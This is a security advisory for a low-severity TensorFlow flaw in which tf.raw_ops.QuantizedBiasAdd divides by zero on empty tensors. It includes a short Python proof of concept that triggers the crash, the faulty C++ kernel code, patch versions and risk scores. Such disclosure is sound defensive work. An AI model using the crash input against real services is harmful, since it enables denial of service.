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GHSA-m34j-p8rj-wjxq

LowCVSS 2.5 / 10
Published May 21, 2021·Last modified Mar 13, 2026
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No affected components available

Description

Impact

An attacker can trigger an integer division by zero undefined behavior in tf.raw_ops.QuantizedBiasAdd:

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
bias = tf.constant([], shape=[0], dtype=tf.quint8)
min_input = tf.constant(-10.0, dtype=tf.float32)
max_input = tf.constant(-10.0, dtype=tf.float32)
min_bias = tf.constant(-10.0, dtype=tf.float32)
max_bias = tf.constant(-10.0, dtype=tf.float32)

tf.raw_ops.QuantizedBiasAdd(input=input_tensor, bias=bias, min_input=min_input,
                            max_input=max_input, min_bias=min_bias,
                            max_bias=max_bias, out_type=tf.qint32)

This is because the implementation of the Eigen kernel does a division by the number of elements of the smaller input (based on shape) without checking that this is not zero:

template <typename T1, typename T2, typename T3>
void QuantizedAddUsingEigen(const Eigen::ThreadPoolDevice& device,
                            const Tensor& input, float input_min,
                            float input_max, const Tensor& smaller_input,
                            float smaller_input_min, float smaller_input_max,
                            Tensor* output, float* output_min,
                            float* output_max) {
  ...
  const int64 input_element_count = input.NumElements();
  const int64 smaller_input_element_count = smaller_input.NumElements();
  ...
  bcast[0] = input_element_count / smaller_input_element_count;
  ...
}

This integral division by 0 is undefined behavior.

Patches

We have patched the issue in GitHub commit 67784700869470d65d5f2ef20aeb5e97c31673cb.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Risk Scores
Base Score
2.5

The vulnerability requires local access to the device to be exploited. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.

Threat Intelligence
2.3

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.20%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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